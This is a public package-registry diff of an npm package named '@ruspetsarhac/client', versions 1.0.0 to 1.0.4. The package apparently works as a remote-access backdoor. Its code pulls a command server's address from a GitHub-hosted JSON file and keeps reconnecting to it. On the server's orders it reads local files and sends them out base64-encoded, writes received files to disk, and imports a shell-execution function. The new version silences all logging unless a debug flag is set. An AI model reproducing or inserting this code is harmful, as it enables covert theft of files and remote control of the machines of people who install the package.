@ruspetsarhac/client 1.0.0 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@ruspetsarhac/client",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"main": "client.js",
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"main": "src/client.js",
|
|
5
5
|
"bin": {
|
|
6
|
-
|
|
6
|
+
"client": "./client.js"
|
|
7
7
|
},
|
|
8
8
|
"scripts": {
|
|
9
|
-
"build": "pkg client.js --targets node14-win-x64 --output client.exe"
|
|
9
|
+
"build": "pkg client.js --targets node14-win-x64 --output client.exe",
|
|
10
|
+
"pub": "git add . && git commit -m \"Updates\" && npm version patch && npm publish"
|
|
10
11
|
},
|
|
11
12
|
"author": "spetsar",
|
|
12
13
|
"license": "ISC"
|
|
13
|
-
|
|
14
|
-
|
|
14
|
+
}
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
// src/index.js
|
|
1
2
|
const net = require('net');
|
|
2
3
|
const { exec } = require('child_process');
|
|
3
4
|
const path = require('path');
|
|
@@ -11,7 +12,7 @@ let isConnected = false;
|
|
|
11
12
|
let serverHost = '';
|
|
12
13
|
let serverPort = 0;
|
|
13
14
|
|
|
14
|
-
function fetchServerSettings(callback) {
|
|
15
|
+
function fetchServerSettings(callback, debug) {
|
|
15
16
|
const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
|
|
16
17
|
https.get(url, (res) => {
|
|
17
18
|
let data = '';
|
|
@@ -23,7 +24,7 @@ function fetchServerSettings(callback) {
|
|
|
23
24
|
res.on('end', () => {
|
|
24
25
|
try {
|
|
25
26
|
const serverSettings = JSON.parse(data);
|
|
26
|
-
|
|
27
|
+
log(`serverSettings: ${JSON.stringify(serverSettings)}`, debug);
|
|
27
28
|
serverHost = serverSettings.host;
|
|
28
29
|
serverPort = serverSettings.port;
|
|
29
30
|
callback(null);
|
|
@@ -37,10 +38,10 @@ function fetchServerSettings(callback) {
|
|
|
37
38
|
});
|
|
38
39
|
}
|
|
39
40
|
|
|
40
|
-
function createConnection() {
|
|
41
|
+
function createConnection(debug) {
|
|
41
42
|
const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
|
|
42
43
|
isConnected = true;
|
|
43
|
-
|
|
44
|
+
log('Connected to server', debug);
|
|
44
45
|
});
|
|
45
46
|
|
|
46
47
|
socket.on('data', (data) => {
|
|
@@ -80,7 +81,7 @@ function createConnection() {
|
|
|
80
81
|
if (err) {
|
|
81
82
|
socket.write(`Error reading file: ${err.message}`);
|
|
82
83
|
} else {
|
|
83
|
-
const base64Data = data.toString('base64');
|
|
84
|
+
const base64Data = data.toString('base64');
|
|
84
85
|
socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
|
|
85
86
|
}
|
|
86
87
|
});
|
|
@@ -90,57 +91,67 @@ function createConnection() {
|
|
|
90
91
|
const fullPath = path.resolve(currentCwd, path.basename(filePath));
|
|
91
92
|
fs.writeFile(fullPath, fileBuffer, (err) => {
|
|
92
93
|
if (err) {
|
|
93
|
-
|
|
94
|
+
log(`Error saving file: ${err.message}`, debug);
|
|
94
95
|
} else {
|
|
95
|
-
|
|
96
|
+
log(`File saved as: ${fullPath}`, debug);
|
|
96
97
|
}
|
|
97
98
|
});
|
|
98
99
|
} else {
|
|
99
|
-
|
|
100
|
+
log(`[Server]: ${message}`, debug);
|
|
100
101
|
}
|
|
101
102
|
});
|
|
102
103
|
|
|
103
104
|
socket.on('end', () => {
|
|
104
105
|
isConnected = false;
|
|
105
|
-
|
|
106
|
+
log('Connection was ended', debug);
|
|
106
107
|
});
|
|
107
108
|
|
|
108
109
|
socket.on('error', (err) => {
|
|
109
110
|
isConnected = false;
|
|
110
|
-
|
|
111
|
+
log(`[!] Error: ${err.message}`, debug);
|
|
111
112
|
});
|
|
112
113
|
|
|
113
114
|
socket.on('close', () => {
|
|
114
115
|
isConnected = false;
|
|
115
|
-
|
|
116
|
+
log('Connection closed', debug);
|
|
116
117
|
});
|
|
117
118
|
|
|
118
119
|
return socket;
|
|
119
120
|
}
|
|
120
121
|
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
setInterval(() => {
|
|
124
|
-
if (!isConnected) {
|
|
125
|
-
console.log('Attempting to reconnect to the server...');
|
|
126
|
-
socket = createConnection();
|
|
127
|
-
}
|
|
128
|
-
}, 60000);
|
|
129
|
-
|
|
130
|
-
fetchServerSettings((error) => {
|
|
131
|
-
if (error) {
|
|
132
|
-
console.error(`Error fetching server settings: ${error.message}`);
|
|
133
|
-
} else {
|
|
134
|
-
console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
|
|
135
|
-
}
|
|
136
|
-
});
|
|
137
|
-
|
|
138
|
-
setInterval(() => {
|
|
122
|
+
function startClient(debug = false) {
|
|
139
123
|
fetchServerSettings((error) => {
|
|
140
124
|
if (error) {
|
|
141
|
-
|
|
125
|
+
log(`Error fetching server settings: ${error.message}`, debug);
|
|
142
126
|
} else {
|
|
143
|
-
|
|
127
|
+
log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
|
|
128
|
+
serverPort = serverPort;
|
|
129
|
+
let socket = createConnection(debug);
|
|
130
|
+
|
|
131
|
+
setInterval(() => {
|
|
132
|
+
if (!isConnected) {
|
|
133
|
+
log('Attempting to reconnect to the server...', debug);
|
|
134
|
+
socket = createConnection(debug);
|
|
135
|
+
}
|
|
136
|
+
}, 60000);
|
|
137
|
+
|
|
138
|
+
setInterval(() => {
|
|
139
|
+
fetchServerSettings((error) => {
|
|
140
|
+
if (error) {
|
|
141
|
+
log(`Error fetching server settings: ${error.message}`, debug);
|
|
142
|
+
} else {
|
|
143
|
+
log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
|
|
144
|
+
}
|
|
145
|
+
}, debug);
|
|
146
|
+
}, 300000);
|
|
144
147
|
}
|
|
145
|
-
});
|
|
146
|
-
}
|
|
148
|
+
}, debug);
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function log(message, debug) {
|
|
152
|
+
if (debug) {
|
|
153
|
+
console.log(message);
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
module.exports = { startClient };
|
|
File without changes
|
|
File without changes
|